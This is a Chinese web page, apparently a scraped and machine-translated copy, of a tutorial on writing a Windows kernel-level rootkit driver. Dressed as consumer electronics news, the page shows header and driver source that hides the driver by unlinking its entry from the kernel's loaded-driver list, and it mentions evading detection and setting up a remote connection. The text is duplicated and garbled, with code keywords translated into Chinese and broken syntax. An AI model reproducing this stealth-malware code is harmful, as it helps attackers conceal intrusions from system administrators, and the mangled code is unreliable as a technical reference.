数码资讯
Rootkit的隐身技术教程(图)
审查:1。总结 本文将带领读者创建一个主要的内核级Rootkit,然后介绍了两种简单的隐身技术:隐身技术和隐身技术工艺文件。同时,为了让读者获得rootkit编程经验,我们推出了加载和卸载的方法和必要的测试技术的rootkit。 本文介绍了主要的rootkit 1。总结 本文将带领读者创建一个主要的
选购提示
关注价格、性能、续航、售后和真实使用场景,理性比较后再下单。
审查:1。总结
本文将带领读者创建一个主要的内核级Rootkit,然后介绍了两种简单的隐身技术:隐身技术和隐身技术工艺文件。同时,为了让读者获得rootkit编程经验,我们推出了加载和卸载的方法和必要的测试技术的rootkit。
本文介绍了主要的rootkit
1。总结
本文将带领读者创建一个主要的内核级Rootkit,然后介绍了两种简单的隐身技术:隐身技术和隐身技术工艺文件。同时,为了让读者获得rootkit编程经验,我们推出了加载和卸载的方法和必要的测试技术的rootkit。
Rootkit的介绍本文的主要部分是一个设备驱动程序,所以让我们开始第一个rootkit。
二,rootkit的主体
本节介绍一个简单的rootkit的实例,这实际上只提供了Rootkit的主要框架,换句话说,一个设备驱动程序。所以为什么使用设备驱动程序为主体显然,因为在系统中,设备驱动程序和操作系统都是程序中的特权类。他们运行在ring0系统中访问所有的代码和数据。还有一点要注意,因为这种情况下的主要目的是介绍如何rootkit是无形的,所以没有特定功能的后门等。
我们将解释的rootkit形式的源代码,并介绍一些重要的数据结构和函数。接下来,我们先把第一个文件我们使用,这是一个头文件称为看不见的。H,这是如下:
/ /看不见的。H:我们的rootkit的头文件
#则_invisible_h_
#定义_invisible_h_
typedef布尔型;
typedef unsigned long DWORD;
typedef DWORD * pdword;
typedef unsigned long页;
定义无符号短词;
定义字节类型;
typedef struct _driver_data
{
list_entry listentry;
一个DWORD值;
DWORD unknown2;
DWORD unknown3;
DWORD unknown4;
DWORD unknown5;
DWORD unknown6;
DWORD unknown7;
unicode_string路径;
unicode_string名称;
driver_data };
# endif
我们知道,应用程序可以包括大量的定义,只要他们把几个文件,如stdio. h和windows.h.but这种司机不在这里工作。有两个原因。首先,驱动程序的体积通常是紧凑的。二、司机的应用更为具体,和数据类型较少,因此,我们给出了一个文件,看不见的。H,它定义了一些我们的rootkit的数据类型。
在这里所定义的类型,有一个数据类型说:双字类型,它实际上是一个无符号长整型。此外,driver_data是一个数据结构,通过Windows操作系统的秘密,包括上、下设备驱动程序的指向设备驱动程序目录的指针。所以我们在这里一样一个rootkit设备驱动程序来实现的,只要我们的rootkit目录的设备驱动程序(即司机)删除目录项对应的系统管理程序将无法看到它,为了实现隐身。
Rootkit的头文件是上面介绍的。现在我们介绍Rootkit的主要部分,它实际上是一个基本的设备驱动程序。具体代码显示在下面。
/不可见
#包括ntddk。H
#包括看不见的。H
#包括文件管理器的。
#包括configmanager。H
全局变量
页主版本号;
ulong MinorVersion;
当自由构建时,将注释排除在外以避免被检测到。
无效的卸载文件(在pdriver_object pdriverobject)
{
DbgPrint(comint16:onunload叫。);
}
NTSTATUS DriverEntry(在pdriver_object pdriverobject,在punicode_string)
theregistrypath)
{
driver_data * driverdata;
获取操作系统的版本
psgetversion(主版本号,MinorVersion,null,null);
= 4:Windows NT 4、Windows ME、Windows 98或Windows 95
= 5:Windows Server 2003、WindowsXP或Windows 2000
0,Windows 2000,Windows NT 4或Windows 95
1
2:Windows服务器2003
如果(主版本号= = 5 = = 2 MinorVersion)
{
DbgPrint(comint16:在Windows 2003的运行);
}
如果(主版本号= = 5 = = 1 MinorVersion)
{
DbgPrint(comint16:运行在Windows XP);
}
如果(主版本号= = 5 = = 0 MinorVersion)
{
DbgPrint(comint16:运行于Windows 2000);
}
如果(主版本号= = 4 = = 0 MinorVersion)
{
DbgPrint(comint16:运行在Windows NT 4 );
}
其他的
{
DbgPrint(comint16:未知系统运行);
}
隐藏驱动程序
driverdata = *((driver_data * *)((DWORD)pdriverobject 20));
如果(driverdata!= null)
{
将删除目录中相应条目中的驱动程序/驱动器
*((pdword)driverdata -> listentry。眨眼)=(DWORD)driverdata -> listentry.flink;
driverdata -> listentry。弗林克->眨眼= driverdata -> listentry.blink;
}
允许驱动程序/卸载
pdriverobject ->卸载= onunload;
控制器被配置为连接 / / rootkit
如果(!!nt_success(配置()))
{
DbgPrint(comint16:无法配置远程连接上。;
返回status_unsuccessful;
}
返回status_success;
}
本文将带领读者创建一个主要的内核级Rootkit,然后介绍了两种简单的隐身技术:隐身技术和隐身技术工艺文件。同时,为了让读者获得rootkit编程经验,我们推出了加载和卸载的方法和必要的测试技术的rootkit。
本文介绍了主要的rootkit
1。总结
本文将带领读者创建一个主要的内核级Rootkit,然后介绍了两种简单的隐身技术:隐身技术和隐身技术工艺文件。同时,为了让读者获得rootkit编程经验,我们推出了加载和卸载的方法和必要的测试技术的rootkit。
Rootkit的介绍本文的主要部分是一个设备驱动程序,所以让我们开始第一个rootkit。
二,rootkit的主体
本节介绍一个简单的rootkit的实例,这实际上只提供了Rootkit的主要框架,换句话说,一个设备驱动程序。所以为什么使用设备驱动程序为主体显然,因为在系统中,设备驱动程序和操作系统都是程序中的特权类。他们运行在ring0系统中访问所有的代码和数据。还有一点要注意,因为这种情况下的主要目的是介绍如何rootkit是无形的,所以没有特定功能的后门等。
我们将解释的rootkit形式的源代码,并介绍一些重要的数据结构和函数。接下来,我们先把第一个文件我们使用,这是一个头文件称为看不见的。H,这是如下:
/ /看不见的。H:我们的rootkit的头文件
#则_invisible_h_
#定义_invisible_h_
typedef布尔型;
typedef unsigned long DWORD;
typedef DWORD * pdword;
typedef unsigned long页;
定义无符号短词;
定义字节类型;
typedef struct _driver_data
{
list_entry listentry;
一个DWORD值;
DWORD unknown2;
DWORD unknown3;
DWORD unknown4;
DWORD unknown5;
DWORD unknown6;
DWORD unknown7;
unicode_string路径;
unicode_string名称;
driver_data };
# endif
我们知道,应用程序可以包括大量的定义,只要他们把几个文件,如stdio. h和windows.h.but这种司机不在这里工作。有两个原因。首先,驱动程序的体积通常是紧凑的。二、司机的应用更为具体,和数据类型较少,因此,我们给出了一个文件,看不见的。H,它定义了一些我们的rootkit的数据类型。
在这里所定义的类型,有一个数据类型说:双字类型,它实际上是一个无符号长整型。此外,driver_data是一个数据结构,通过Windows操作系统的秘密,包括上、下设备驱动程序的指向设备驱动程序目录的指针。所以我们在这里一样一个rootkit设备驱动程序来实现的,只要我们的rootkit目录的设备驱动程序(即司机)删除目录项对应的系统管理程序将无法看到它,为了实现隐身。
Rootkit的头文件是上面介绍的。现在我们介绍Rootkit的主要部分,它实际上是一个基本的设备驱动程序。具体代码显示在下面。
/不可见
#包括ntddk。H
#包括看不见的。H
#包括文件管理器的。
#包括configmanager。H
全局变量
页主版本号;
ulong MinorVersion;
当自由构建时,将注释排除在外以避免被检测到。
无效的卸载文件(在pdriver_object pdriverobject)
{
DbgPrint(comint16:onunload叫。);
}
NTSTATUS DriverEntry(在pdriver_object pdriverobject,在punicode_string)
theregistrypath)
{
driver_data * driverdata;
获取操作系统的版本
psgetversion(主版本号,MinorVersion,null,null);
= 4:Windows NT 4、Windows ME、Windows 98或Windows 95
= 5:Windows Server 2003、WindowsXP或Windows 2000
0,Windows 2000,Windows NT 4或Windows 95
1
2:Windows服务器2003
如果(主版本号= = 5 = = 2 MinorVersion)
{
DbgPrint(comint16:在Windows 2003的运行);
}
如果(主版本号= = 5 = = 1 MinorVersion)
{
DbgPrint(comint16:运行在Windows XP);
}
如果(主版本号= = 5 = = 0 MinorVersion)
{
DbgPrint(comint16:运行于Windows 2000);
}
如果(主版本号= = 4 = = 0 MinorVersion)
{
DbgPrint(comint16:运行在Windows NT 4 );
}
其他的
{
DbgPrint(comint16:未知系统运行);
}
隐藏驱动程序
driverdata = *((driver_data * *)((DWORD)pdriverobject 20));
如果(driverdata!= null)
{
将删除目录中相应条目中的驱动程序/驱动器
*((pdword)driverdata -> listentry。眨眼)=(DWORD)driverdata -> listentry.flink;
driverdata -> listentry。弗林克->眨眼= driverdata -> listentry.blink;
}
允许驱动程序/卸载
pdriverobject ->卸载= onunload;
控制器被配置为连接 / / rootkit
如果(!!nt_success(配置()))
{
DbgPrint(comint16:无法配置远程连接上。;
返回status_unsuccessful;
}
返回status_success;
}
声明:本文内容用于数码产品信息整理与选购参考,具体价格、库存、售后政策以官方渠道和电商页面实时信息为准。